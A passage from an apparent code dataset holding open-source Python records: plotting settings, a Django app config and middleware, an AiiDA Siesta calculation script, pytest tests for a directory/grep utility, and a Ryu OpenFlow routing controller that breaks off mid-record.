plt_params = {\n 'backend': 'ps',\n 'axes.labelsize': 18,\n 'legend.fontsize': 14,\n 'xtick.labelsize': 16,\n 'ytick.labelsize': 16,\n 'font.size': 16,\n 'figure.figsize': fig_size,\n 'font.family': 'Times New Roman'\n }\n else:\n plt_params = {\n 'backend': 'ps',\n 'axes.labelsize': 20,\n 'legend.fontsize': 16,\n 'xtick.labelsize': 18,\n 'ytick.labelsize': 18,\n 'font.size': 18,\n 'figure.figsize': fig_size,\n 'font.family': 'Times New Roman'\n }\n\n plt.rcParams.update(plt_params)\n plt.rc('pdf', fonttype=42) # IMPORTANT to get rid of Type 3\n\n\ndef yaxis_formatter(x, p):\n return int(round(x * 100))", "source": "pps-lab/rofl-project-code", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass EscolaridadeConfig(AppConfig):\n name = 'escolaridade'\n", "source": "Bleno/sisgestor-django", "license": "MIT"} {"text": "#!/usr/bin/env runaiida\n# -*- coding: utf-8 -*-\n\n__copyright__ = u\"Copyright (c), 2015, ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE (Theory and Simulation of Materials (THEOS) and National Centre for Computational Design and Discovery of Novel Materials (NCCR MARVEL)), Switzerland and ROBERT BOSCH LLC, USA. All rights reserved.\"\n__license__ = \"MIT license, see LICENSE.txt file\"\n__version__ = \"0.7.0\"\n__contributors__ = \"Andrea Cepellotti, Victor Garcia-Suarez, Alberto Garcia\"\n\nimport sys\nimport os\n\nfrom aiida.common.example_helpers import test_and_get_code\nfrom aiida.common.exceptions import NotExistent\nfrom aiida.orm import CalculationFactory\nfrom aiida.tools import get_explicit_kpoints_path\n\n################################################################\nParameterData = DataFactory('parameter')\nKpointsData = DataFactory('array.kpoints')\nStructureData = DataFactory('structure')\nSinglefileData = DataFactory('singlefile')\n\ntry:\n dontsend = sys.argv[1]\n if dontsend == \"--dont-send\":\n submit_test = True\n elif dontsend == \"--send\":\n submit_test = False\n else:\n raise IndexError\nexcept IndexError:\n print >> sys.stderr, (\"The first parameter can only be either \"\n \"--send or --dont-send\")\n sys.exit(1)\n\ntry:\n codename = sys.argv[2]\nexcept IndexError:\n codename = 'vi-4.0.1@cm135'\n\ncode = test_and_get_code(codename, expected_code_type='siesta.vibra')\n#\n# Set up calculation object first\n#\ncalc = code.new_calc()\ncalc.label = \"Test Vibra. Bulk silicon\"\ncalc.description = \"Test calculation with the Vibra code. Bulk silicon\"\n\n#\n#----Settings first -----------------------------\n#\nsettings_dict={}\nsettings = ParameterData(dict=settings_dict)\ncalc.use_settings(settings)\n#---------------------------------------------------\n\n#\n# Structure -----------------------------------------\n#\nalat = 5.43 # Angstrom. Not passed to the fdf file (only for internal use)\ncell = [[0., alat/2, alat/2,],\n [alat/2, 0., alat/2,],\n [alat/2, alat/2, 0.,],]\nsicd = alat*0.125\n\ns = StructureData(cell=cell)\ns.append_atom(position=(sicd,sicd,sicd),symbols=['Si'])\ns.append_atom(position=(-sicd,-sicd,-sicd),symbols=['Si'])\n\nelements = list(s.get_symbols_set())\ncalc.use_structure(s)\n#-------------------------------------------------------------\n\n#\n# Parameters ---------------------------------------------------\n#\nparams_dict= {\n'supercell_1': 1,\n'supercell_2': 1,\n'supercell_3': 1,\n'atomicdispl': '0.021 Ang',\n'eigenvectors':True\n}\n# Replace '.' with '_' for the database\nparams_dict = { k.replace('.','-') :v for k,v in params_dict.iteritems() }\nparameters = ParameterData(dict=params_dict)\ncalc.use_parameters(parameters)\n\n#\n# K-points for bands --------------------\nseekpath_parameters = ParameterData(dict={'reference_distance': float(0.02)})\nresult=get_explicit_kpoints_path(s, **seekpath_parameters.get_dict())\nnewstructure = result['primitive_structure']\nkpoints_path = result['explicit_kpoints']\n\nbandskpoints = KpointsData()\nbandskpoints = kpoints_path\n\ncalc.use_bandskpoints(bandskpoints)\n\n#----------------------------------------------------------\n#\nabsname = os.path.realpath(os.path.join(os.path.dirname(__file__),\"data\"))+'/aiida.FC'\nfilefc = SinglefileData()\nfilefc.add_path(absname)\ncalc.use_singlefile(filefc)\n\n#from aiida.orm.data.remote import RemoteData\n#calc.set_outdir(remotedata)\n\ncalc.set_resources({\"num_machines\": 1, \"num_mpiprocs_per_machine\": 2})\n#calc.set_resources({\"parallel_env\": 'mpi', \"tot_num_mpiprocs\": 1})\ncode_mpi_enabled = False\ntry:\n code_mpi_enabled = code.get_extra(\"mpi\")\nexcept AttributeError:\n pass\ncalc.set_withmpi(code_mpi_enabled)\n#------------------\nqueue = None\n# calc.set_queue_name(queue)\n#------------------\n\nif submit_test:\n subfolder, script_filename = calc.submit_test()\n print \"Test_submit for calculation (uuid='{}')\".format(\n calc.uuid)\n print \"Submit file in {}\".format(os.path.join(\n os.path.relpath(subfolder.abspath),\n script_filename\n ))\nelse:\n calc.store_all()\n print \"created calculation; calc=Calculation(uuid='{}') # ID={}\".format(\n calc.uuid,calc.dbnode.pk)\n calc.submit()\n print \"submitted calculation; calc=Calculation(uuid='{}') # ID={}\".format(\n calc.uuid,calc.dbnode.pk)\n\n", "source": "vdikan/aiida_siesta_plugin", "license": "MIT"} {"text": "\nimport types\nfrom unittest.mock import AsyncMock, MagicMock, PropertyMock\n\nimport pytest\n\nimport abstracts\n\nfrom aio.core import directory, subprocess\n\n\n@pytest.mark.parametrize(\n \"args\",\n [[], [f\"ARG{i}\" for i in range(0, 5)]])\n@pytest.mark.parametrize(\n \"kwargs\",\n [{}, {f\"K{i}\": f\"V{i}\" for i in range(0, 5)}])\ndef test_directory_constructor(patches, args, kwargs):\n patched = patches(\n \"directory.ADirectory.__init__\",\n prefix=\"aio.core.directory.directory\")\n\n with patched as (m_super, ):\n m_super.return_value = None\n direct = directory.Directory(*args, **kwargs)\n\n assert isinstance(direct, directory.ADirectory)\n assert (\n m_super.call_args\n == [tuple(args), kwargs])\n assert direct.finder_class == directory.DirectoryFileFinder\n\n\n@pytest.mark.parametrize(\n \"args\",\n [[], [f\"ARG{i}\" for i in range(0, 5)]])\n@pytest.mark.parametrize(\n \"kwargs\",\n [{}, {f\"K{i}\": f\"V{i}\" for i in range(0, 5)}])\ndef test_git_directory_constructor(patches, args, kwargs):\n patched = patches(\n \"directory.AGitDirectory.__init__\",\n prefix=\"aio.core.directory.directory\")\n\n with patched as (m_super, ):\n m_super.return_value = None\n direct = directory.GitDirectory(*args, **kwargs)\n\n assert isinstance(direct, directory.AGitDirectory)\n assert (\n m_super.call_args\n == [tuple(args), kwargs])\n assert direct.finder_class == directory.DirectoryFileFinder\n\n\n@abstracts.implementer(directory.ADirectory)\nclass DummyDirectory:\n\n @property\n def finder_class(self):\n return super().finder_class\n\n\n@abstracts.implementer(directory.AGitDirectory)\nclass DummyGitDirectory:\n\n @property\n def finder_class(self):\n return super().finder_class\n\n\n@pytest.mark.parametrize(\"exclude\", [None, 0, [], (), \"EXCLUDE\"])\n@pytest.mark.parametrize(\"exclude_dirs\", [None, 0, [], (), \"EXCLUDE\"])\n@pytest.mark.parametrize(\"path_matcher\", [None, 0, [], (), \"MATCHER\"])\n@pytest.mark.parametrize(\"exclude_matcher\", [None, 0, [], (), \"MATCHER\"])\n@pytest.mark.parametrize(\"text_only\", [None, True, False])\ndef test_abstract_directory_constructor(\n exclude, exclude_dirs, path_matcher,\n exclude_matcher, text_only):\n kwargs = {}\n if exclude is not None:\n kwargs[\"exclude\"] = exclude\n if exclude_dirs is not None:\n kwargs[\"exclude_dirs\"] = exclude_dirs\n if path_matcher is not None:\n kwargs[\"path_matcher\"] = path_matcher\n if exclude_matcher is not None:\n kwargs[\"exclude_matcher\"] = exclude_matcher\n if text_only is not None:\n kwargs[\"text_only\"] = text_only\n with pytest.raises(TypeError):\n directory.ADirectory(**kwargs)\n direct = DummyDirectory(\"PATH\", **kwargs)\n assert direct._path == \"PATH\"\n assert direct.path_matcher == path_matcher\n assert direct.exclude_matcher == exclude_matcher\n assert (\n direct.text_only\n == (True if text_only is None else text_only))\n assert direct.exclude == (exclude or ())\n assert direct.exclude_dirs == (exclude_dirs or ())\n assert (\n direct.grep_max_batch_size\n == directory.abstract.directory.GREP_MAX_BATCH_SIZE)\n assert \"grep_max_batch_size\" not in direct.__dict__\n assert (\n direct.grep_min_batch_size\n == directory.abstract.directory.GREP_MIN_BATCH_SIZE)\n assert \"grep_min_batch_size\" not in direct.__dict__\n iface_props = [\"finder_class\"]\n for prop in iface_props:\n with pytest.raises(NotImplementedError):\n getattr(direct, prop)\n\n\nasync def test_abstract_directory_files(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n (\"ADirectory.grep\",\n dict(new_callable=AsyncMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_grep, ):\n result = await direct.files\n assert (\n result\n == m_grep.return_value)\n\n assert (\n m_grep.call_args\n == [([\"-l\"], \"\"), {}])\n assert (\n getattr(\n direct,\n directory.ADirectory.files.cache_name)[\n \"files\"]\n == result)\n\n\n@pytest.mark.parametrize(\"text_only\", [True, False])\ndef test_abstract_directory_grep_args(patches, text_only):\n direct = DummyDirectory(\"PATH\", text_only=text_only)\n patched = patches(\n (\"ADirectory.grep_command_args\",\n dict(new_callable=PropertyMock)),\n (\"ADirectory.grep_exclusion_args\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n\n grep_command = [f\"CMD{i}\" for i in range(0, 5)]\n grep_exclusions = [f\"EXC{i}\" for i in range(0, 5)]\n text_flag = (\n (\"-I\", )\n if text_only\n else ())\n expected = (*grep_command, *text_flag, *grep_exclusions)\n\n with patched as (m_cmd, m_exc):\n m_cmd.return_value = grep_command\n m_exc.return_value = grep_exclusions\n assert (\n direct.grep_args\n == expected)\n\n assert \"grep_args\" in direct.__dict__\n\n\n@pytest.mark.parametrize(\"grep\", [None, \"GREP\"])\ndef test_abstract_directory_grep_command_args(patches, grep):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"shutil\",\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_shutil, ):\n m_shutil.which.return_value = grep\n if not grep:\n with pytest.raises(subprocess.exceptions.OSCommandError) as e:\n direct.grep_command_args\n assert e.value.args[0] == \"Unable to find `grep` command\"\n else:\n assert (\n direct.grep_command_args\n == (\"GREP\", \"-r\"))\n\n assert (\n m_shutil.which.call_args\n == [(\"grep\", ), {}])\n assert \"grep_command_args\" not in direct.__dict__\n\n\n@pytest.mark.parametrize(\"exclude\", [[], range(0, 5), [\"a\", \"b\", \"c\"]])\n@pytest.mark.parametrize(\"exclude_dirs\", [[], range(0, 5), [\"a\", \"b\", \"c\"]])\ndef test_abstract_directory_grep_exclusion_args(exclude, exclude_dirs):\n direct = DummyDirectory(\n \"PATH\", exclude=exclude, exclude_dirs=exclude_dirs)\n expected = []\n for x in exclude:\n expected.append(f\"--exclude={x}\")\n for x in exclude_dirs:\n expected.append(f\"--exclude-dir={x}\")\n\n assert direct.grep_exclusion_args == tuple(expected)\n assert \"grep_exclusion_args\" not in direct.__dict__\n\n\ndef test_abstract_finder(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"str\",\n (\"ADirectory.finder_class\",\n dict(new_callable=PropertyMock)),\n (\"ADirectory.path\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n direct.path_matcher = MagicMock()\n direct.exclude_matcher = MagicMock()\n\n with patched as (m_str, m_class, m_path):\n assert (\n direct.finder\n == m_class.return_value.return_value)\n\n assert (\n m_class.return_value.call_args\n == [(m_str.return_value, ),\n dict(path_matcher=direct.path_matcher,\n exclude_matcher=direct.exclude_matcher)])\n assert (\n m_str.call_args\n == [(m_path.return_value, ), {}])\n\n\ndef test_abstract_directory_path(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"pathlib\",\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_plib, ):\n assert direct.path == m_plib.Path.return_value\n\n assert (\n m_plib.Path.call_args\n == [(\"PATH\", ), {}])\n assert \"path\" in direct.__dict__\n\n\ndef test_abstract_directory_absolute_path(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"str\",\n (\"ADirectory.path\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_str, m_path):\n assert direct.absolute_path == m_str.return_value\n\n assert (\n m_str.call_args\n == [(m_path.return_value.resolve.return_value, ), {}])\n assert (\n m_path.return_value.resolve.call_args\n == [(), {}])\n assert \"absolute_path\" in direct.__dict__\n\n\ndef test_abstract_directory_grep(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"async_set\",\n \"AwaitableGenerator\",\n \"ADirectory._grep\",\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_set, m_gen, m_grep):\n assert (\n direct.grep(\"ARGS\", \"TARGET\")\n == m_gen.return_value)\n\n assert (\n m_gen.call_args\n == [(m_grep.return_value, ),\n dict(collector=m_set)])\n assert (\n m_grep.call_args\n == [(\"ARGS\", \"TARGET\"), {}])\n\n\n@pytest.mark.parametrize(\"is_str\", [True, False])\ndef test_abstract_directory_parse_grep_args(patches, is_str):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"isinstance\",\n (\"ADirectory.grep_args\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n grep_args = [f\"GARG{i}\" for i in range(0, 5)]\n args = [f\"ARG{i}\" for i in range(0, 5)]\n target = MagicMock()\n expected = (\n (*grep_args,\n *args),\n ((target, )\n if is_str\n else target))\n\n with patched as (m_inst, m_grep_args):\n m_grep_args.return_value = grep_args\n m_inst.return_value = is_str\n assert (\n direct.parse_grep_args(args, target)\n == expected)\n\n assert (\n m_inst.call_args\n == [(target, str), {}])\n\n\n@pytest.mark.parametrize(\"is_str\", [True, False])\n@pytest.mark.parametrize(\"target\", [True, False])\nasync def test_abstract_directory__grep(patches, is_str, target):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"isinstance\",\n \"ADirectory.parse_grep_args\",\n \"ADirectory._batched_grep\",\n prefix=\"aio.core.directory.abstract.directory\")\n results = []\n expected = []\n target = \"TARGET\" if target else None\n\n async def iter_batches(args, paths):\n for x in range(0, 7):\n batch = [\n f\"ITEM.{x}.{y}\"\n for y\n in range(0, 3)]\n if is_str or target:\n expected.extend(batch)\n yield batch\n\n with patched as (m_isinst, m_parse, m_batched):\n m_isinst.return_value = is_str\n m_parse.return_value = (\"ARGS_\", \"TARGET_\")\n m_batched.side_effect = iter_batches\n async for result in direct._grep(\"ARGS\", target):\n results.append(result)\n\n assert results == expected\n assert (\n m_isinst.call_args\n == [(target, str), {}])\n if not is_str and not target:\n assert not m_parse.called\n assert not m_batched.called\n return\n assert (\n m_parse.call_args\n == [(\"ARGS\", target), {}])\n assert (\n m_batched.call_args\n == [(\"ARGS_\", \"TARGET_\"), {}])\n\n\ndef test_abstract_directory__batched_grep(patches):\n direct = DummyDirectory(\"PATH\")\n patched = patches(\n \"partial\",\n \"ADirectory.execute_in_batches\",\n (\"ADirectory.finder\",\n dict(new_callable=PropertyMock)),\n (\"ADirectory.grep_max_batch_size\",\n dict(new_callable=PropertyMock)),\n (\"ADirectory.grep_min_batch_size\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n grep_args = [f\"GARG{i}\" for i in range(0, 5)]\n paths = [f\"PATH{i}\" for i in range(0, 5)]\n direct.exclude_matcher = MagicMock()\n direct.path_matcher = MagicMock()\n\n with patched as patchy:\n (m_partial, m_exec,\n m_finder, m_max, m_min) = patchy\n assert (\n direct._batched_grep(grep_args, paths)\n == m_exec.return_value)\n\n assert (\n m_exec.call_args\n == [(m_partial.return_value, *paths),\n dict(min_batch_size=m_min.return_value,\n max_batch_size=m_max.return_value)])\n assert (\n m_partial.call_args\n == [(m_finder.return_value,\n *grep_args)])\n\n\nasync def test_abstract_git_directory_find_git_files_changed_since():\n finder = MagicMock()\n git_command = MagicMock()\n since = MagicMock()\n assert (\n directory.GitDirectory.find_git_files_changed_since(\n finder,\n git_command,\n since)\n == finder.return_value)\n assert (\n finder.call_args\n == [(git_command,\n \"diff\",\n \"--name-only\",\n since,\n \"--diff-filter=ACMR\",\n \"--ignore-submodules=all\"),\n {}])\n\n\n@pytest.mark.parametrize(\n \"args\",\n [[], [f\"ARG{i}\" for i in range(0, 5)]])\n@pytest.mark.parametrize(\n \"kwargs\",\n [{}, {f\"K{i}\": f\"V{i}\" for i in range(0, 5)}])\n@pytest.mark.parametrize(\"changed\", [None, True, False])\ndef test_abstract_git_directory_constructor(patches, args, kwargs, changed):\n patched = patches(\n \"directory.ADirectory.__init__\",\n prefix=\"aio.core.directory.directory\")\n if changed is not None:\n kwargs[\"changed\"] = changed\n\n with patched as (m_super, ):\n m_super.return_value = None\n with pytest.raises(TypeError):\n directory.AGitDirectory(*args, **kwargs)\n direct = DummyGitDirectory(*args, **kwargs)\n\n kwargs.pop(\"changed\", None)\n assert isinstance(direct, directory.ADirectory)\n assert (\n m_super.call_args\n == [tuple(args), kwargs])\n assert direct.changed == changed\n iface_props = [\"finder_class\"]\n for prop in iface_props:\n with pytest.raises(NotImplementedError):\n getattr(direct, prop)\n\n\nasync def test_abstract_git_directory_changed_files(patches):\n direct = DummyGitDirectory(\"PATH\", changed=\"CHANGED\")\n patched = patches(\n \"AGitDirectory.find_git_files_changed_since\",\n (\"AGitDirectory.finder\",\n dict(new_callable=PropertyMock)),\n (\"AGitDirectory.git_command\",\n dict(new_callable=PropertyMock)),\n (\"AGitDirectory.execute\",\n dict(new_callable=AsyncMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_find, m_finder, m_command, m_execute):\n assert (\n await direct.changed_files\n == m_execute.return_value\n == getattr(\n direct,\n directory.AGitDirectory.changed_files.cache_name)[\n \"changed_files\"])\n\n assert (\n m_execute.call_args\n == [(m_find,\n m_finder.return_value,\n m_command.return_value,\n \"CHANGED\"), {}])\n\n\n@pytest.mark.parametrize(\n \"files\",\n [set(),\n set(f\"F{i}\" for i in range(0, 5)),\n set(f\"F{i}\" for i in range(0, 10))])\n@pytest.mark.parametrize(\n \"changed_files\",\n [set(),\n set(f\"F{i}\" for i in range(0, 5)),\n set(f\"F{i}\" for i in range(0, 10))])\n@pytest.mark.parametrize(\"path_matcher\", [None, \"PATH_MATCHER\"])\n@pytest.mark.parametrize(\"exclude_matcher\", [None, \"EXCLUDE_MATCHER\"])\n@pytest.mark.parametrize(\"changed\", [None, \"CHANGED\"])\nasync def test_abstract_git_directory_files(\n patches, files, changed_files, path_matcher, exclude_matcher, changed):\n direct = DummyGitDirectory(\n \"PATH\",\n path_matcher=path_matcher,\n exclude_matcher=exclude_matcher,\n changed=changed)\n patched = patches(\n \"set\",\n (\"AGitDirectory.changed_files\",\n dict(new_callable=PropertyMock)),\n \"ADirectory.get_files\",\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_set, m_changed, m_files):\n m_files.return_value = files\n m_changed.side_effect = AsyncMock(return_value=changed_files)\n result = await direct.files\n empty_set = False\n if (path_matcher or exclude_matcher):\n if not files:\n empty_set = True\n elif not changed_files:\n empty_set = True\n expected = (\n m_files.return_value\n if not changed\n else (m_set.return_value\n if empty_set\n else files & changed_files))\n assert (\n result\n == expected\n == getattr(\n direct,\n directory.AGitDirectory.files.cache_name)[\n \"files\"])\n\n if not changed:\n assert (\n m_files.call_args_list\n == [[(), {}]])\n assert not m_changed.called\n return\n if (path_matcher or exclude_matcher) and not files:\n assert not m_changed.called\n assert (\n m_files.call_args_list\n == [[(), {}]])\n elif not (path_matcher or exclude_matcher) and not changed_files:\n assert not m_files.called\n assert (\n m_changed.call_args\n == [(), {}])\n else:\n assert (\n m_files.call_args_list\n == [[(), {}]])\n assert (\n m_changed.call_args\n == [(), {}])\n\n\n@pytest.mark.parametrize(\"git\", [None, \"GIT\"])\ndef test_abstract_git_directory_git_command(patches, git):\n direct = DummyGitDirectory(\"PATH\")\n patched = patches(\n \"shutil\",\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_shutil, ):\n m_shutil.which.return_value = git\n if not git:\n with pytest.raises(subprocess.exceptions.OSCommandError) as e:\n direct.git_command\n assert e.value.args[0] == \"Unable to find the `git` command\"\n else:\n assert (\n direct.git_command\n == git)\n\n assert (\n m_shutil.which.call_args\n == [(\"git\", ), {}])\n assert \"git_command\" not in direct.__dict__\n\n\n@pytest.mark.parametrize(\"git\", [None, \"GIT\"])\ndef test_abstract_git_directory_grep_command_args(patches, git):\n direct = DummyGitDirectory(\"PATH\")\n patched = patches(\n (\"AGitDirectory.git_command\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.abstract.directory\")\n\n with patched as (m_command, ):\n assert (\n direct.grep_command_args\n == (m_command.return_value, \"grep\", \"--cached\"))\n\n assert \"grep_command_args\" not in direct.__dict__\n\n\n@abstracts.implementer(directory.IDirectoryContext)\nclass DummyDirectoryContextInterface:\n\n @property\n def path(self):\n return directory.IDirectoryContext.path.fget(self)\n\n @property\n def in_directory(self):\n return directory.IDirectoryContext.in_directory.fget(self)\n\n\ndef test_directory_context_interface():\n with pytest.raises(TypeError):\n directory.IDirectoryContext()\n\n iface = DummyDirectoryContextInterface()\n\n for iface_prop in [\"path\", \"in_directory\"]:\n with pytest.raises(NotImplementedError):\n getattr(iface, iface_prop)\n\n\n@abstracts.implementer(directory.ADirectoryContext)\nclass DummyDirectoryContext:\n\n @property\n def path(self):\n return super().path\n\n @property\n def in_directory(self):\n return super().in_directory\n\n\ndef test_directory_context_constructor():\n context = DummyDirectoryContext(\"PATH\")\n assert context._path == \"PATH\"\n assert isinstance(context, directory.IDirectoryContext)\n\n\n@pytest.mark.parametrize(\"path\", [None, False, \"\", \"PATH\"])\ndef test_directory_context_path(patches, path):\n context = DummyDirectoryContext(path)\n patched = patches(\n \"pathlib\",\n prefix=\"aio.core.directory.context\")\n\n with patched as (m_plib, ):\n assert (\n context.path\n == m_plib.Path.return_value)\n\n assert (\n m_plib.Path.call_args\n == [(path or \".\", ), {}])\n assert \"path\" in context.__dict__\n\n\ndef test_directory_context_in_directory(patches):\n context = DummyDirectoryContext(\"PATH\")\n patched = patches(\n \"utils\",\n (\"ADirectoryContext.path\",\n dict(new_callable=PropertyMock)),\n prefix=\"aio.core.directory.context\")\n\n with patched as (m_utils, m_path):\n assert (\n context.in_directory\n == m_utils.directory_context.return_value)\n\n assert (\n m_utils.directory_context.call_args\n == [(m_path.return_value, ), {}])\n assert \"in_directory\" not in context.__dict__\n\n\n@abstracts.implementer(directory.ADirectoryFileFinder)\nclass DummyDirectoryFileFinder:\n pass\n\n\n@pytest.mark.parametrize(\"path_matcher\", [None, True, False])\n@pytest.mark.parametrize(\"exclude_matcher\", [None, True, False])\ndef test_finder_include_matcher(path_matcher, exclude_matcher):\n path = MagicMock()\n p_match = MagicMock()\n p_match.match.return_value = path_matcher\n p_matcher = (\n p_match\n if path_matcher is not None\n else None)\n x_match = MagicMock()\n x_match.match.return_value = exclude_matcher\n x_matcher = (\n x_match\n if exclude_matcher is not None\n else None)\n expected = (\n True\n if (path_matcher is not False\n and exclude_matcher is not True)\n else False)\n assert (\n directory.ADirectoryFileFinder.include_path(path, p_matcher, x_matcher)\n == expected)\n if p_matcher:\n assert (\n p_matcher.match.call_args\n == [(path, ), {}])\n if not x_matcher:\n return\n if path_matcher is False:\n assert not x_matcher.match.called\n else:\n assert (\n x_matcher.match.call_args\n == [(path, ), {}])\n\n\n@pytest.mark.parametrize(\"path_matcher\", [None, 0, [], (), \"MATCHER\"])\n@pytest.mark.parametrize(\"exclude_matcher\", [None, 0, [], (), \"MATCHER\"])\ndef test_finder_constructor(patches, path_matcher, exclude_matcher):\n patched = patches(\n \"_subprocess.ASubprocessHandler.__init__\",\n prefix=\"aio.core.directory.abstract.directory\")\n kwargs = {}\n if path_matcher is not None:\n kwargs[\"path_matcher\"] = path_matcher\n if exclude_matcher is not None:\n kwargs[\"exclude_matcher\"] = exclude_matcher\n path = MagicMock()\n\n with patched as (m_super, ):\n m_super.return_value = None\n finder = DummyDirectoryFileFinder(path, **kwargs)\n\n assert (\n m_super.call_args\n == [(finder, path, ), {}])\n assert finder.path_matcher == path_matcher\n assert finder.exclude_matcher == exclude_matcher\n\n\n@pytest.mark.parametrize(\"n\", range(1, 5))\ndef test_finder_handle(patches, n):\n path_matcher = MagicMock()\n exclude_matcher = MagicMock()\n finder = DummyDirectoryFileFinder(\n \"PATH\",\n path_matcher=path_matcher,\n exclude_matcher=exclude_matcher)\n patched = patches(\n \"set\",\n \"_subprocess.ASubprocessHandler.handle_error\",\n \"ADirectoryFileFinder.include_path\",\n prefix=\"aio.core.directory.abstract.directory\")\n response = MagicMock()\n paths = [f\"PATH{i}\" for i in range(0, 7)]\n response.stdout.split.return_value = paths\n\n def include(path, *args):\n return int(path[-1]) % n\n\n with patched as (m_set, m_super, m_include):\n m_include.side_effect = include\n assert (\n finder.handle(response)\n == m_set.return_value)\n path_iter = m_set.call_args[0][0]\n assert isinstance(path_iter, types.GeneratorType)\n result = list(path_iter)\n\n assert (\n result\n == [p for i, p in enumerate(paths) if i % n])\n assert (\n response.stdout.split.call_args\n == [(\"\\n\", ), {}])\n assert (\n m_include.call_args_list\n == [[(p, path_matcher, exclude_matcher), {}]\n for p in paths])\n\n\ndef test_finder_handle_error(patches):\n finder = DummyDirectoryFileFinder(\"PATH\")\n patched = patches(\n \"_subprocess.ASubprocessHandler.handle_error\",\n prefix=\"aio.core.directory.abstract.directory\")\n response = MagicMock()\n\n with patched as (m_super, ):\n assert (\n finder.handle_error(response)\n == m_super.return_value)\n\n assert (\n m_super.call_args\n == [(response, ), {}])\n\n\ndef test_directory_utils_directory_context(patches):\n patched = patches(\n \"pathlib\",\n \"os\",\n prefix=\"aio.core.directory.utils\")\n path = MagicMock()\n tracker = MagicMock()\n\n with patched as (m_plib, m_os):\n m_os.chdir.side_effect = lambda path: tracker(f\"PATH: {path}\")\n abspath = MagicMock(\n side_effect=lambda: (23 if tracker(\"ABSPATH\") else None))\n m_plib.Path.return_value.absolute = abspath\n with directory.utils.directory_context(path):\n tracker(\"IN CONTEXT\")\n\n assert (\n m_plib.Path.call_args\n == [(), {}])\n assert (\n abspath.call_args\n == [(), {}])\n assert (\n [x[0][0] for x in tracker.call_args_list]\n == ['ABSPATH',\n f\"PATH: {path}\",\n 'IN CONTEXT',\n \"PATH: 23\"])\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "class CallAfterCommitMiddleware(object):\n def process_response(self, request, response):\n try:\n callbacks = request._post_commit_callbacks\n except AttributeError:\n callbacks = []\n\n for fn, args, kwargs in callbacks:\n fn(*args, **kwargs)\n\n return response\n", "source": "lamby/django-call-after-commit", "license": "BSD-3-Clause"} {"text": "# Implementazione openflow di hop-by-hop routing\n# usando la mappa della rete trovata con topology discovery\n#\n# Si richiede l'uso del topology discovery\n# ryu-manager --observe-links\n#\n# Nella versione attuale richiede risoluzione arp gia' fatta\n# invocare mininet con\n# mn --arp\n\nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import set_ev_cls, CONFIG_DISPATCHER, MAIN_DISPATCHER\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.topology import event, switches\nfrom ryu.topology.api import get_all_switch, get_all_link, get_all_host\nfrom ryu.lib.packet import packet, ethernet, ether_types\nimport networkx as nx\n\n\nclass HopByHopSwitch(app_manager.RyuApp):\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n # tutti i pacchetti al controllore\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n datapath = ev.msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n inst = [\n parser.OFPInstructionActions(\n ofproto.OFPIT_APPLY_ACTIONS,\n [\n parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,128)\n ]\n )\n ]\n mod = parser.OFPFlowMod(\n datapath=datapath,\n priority=0,\n match = parser.OFPMatch(),\n instructions=inst\n )\n datapath.send_msg(mod)\n\n # trova switch destinazione e porta dello switch\n def find_destination_switch(self,destination_mac):\n for host in get_all_host(self):\n if host.mac == destination_mac:\n return (host.port.dpid, host.port.port_no)\n return (None,None)\n\n def find_next_hop_to_destination(self,source_id,destination_id):\n net = nx.DiGraph()\n for link in get_all_link(self):\n net.add_edge(link.src.dpid, link.dst.dpid, port=link.src.port_no)\n\n path = nx.shortest_path(\n net,\n source_id,\n destination_id\n )\n\n first_link = net[ path[0] ][ path[1] ]\n\n return first_link['port']\n\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n def _packet_in_handler(self, ev):\n\n msg = ev.msg\n datapath = msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n pkt = packet.Packet(msg.data)\n eth = pkt.get_protocol(ethernet.ethernet)\n\n # ignora pacchetti non IPv4 (es. ARP, LLDP)\n if eth.ethertype != ether_types.ETH_TYPE_IP:\n return\n\n destination_mac = eth.dst\n\n # trova switch destinazione\n (dst_dpid, dst_port) = self.find_destination_switch(destination_mac)\n\n # host non trovato\n if dst_dpid is None:\n # print \"DP: \", datapath.id, \"Host not found: \", pkt_ip.dst\n return\n\n if dst_dpid == datapath.id:\n # da usare se l'host e' direttamente collegato\n output_port = dst_port \n else:\n # host non direttamente collegato\n output_port = self.find_next_hop_to_destination(datapath.id,dst_dpid)\n\n # print \"DP: \", datapath.id, \"Host: \", pkt_ip.dst, \"Port: \", output_port\n\n # aggiungi la regola\n match = parser.OFPMatch(\n eth_dst=destination_mac\n )\n inst = [\n 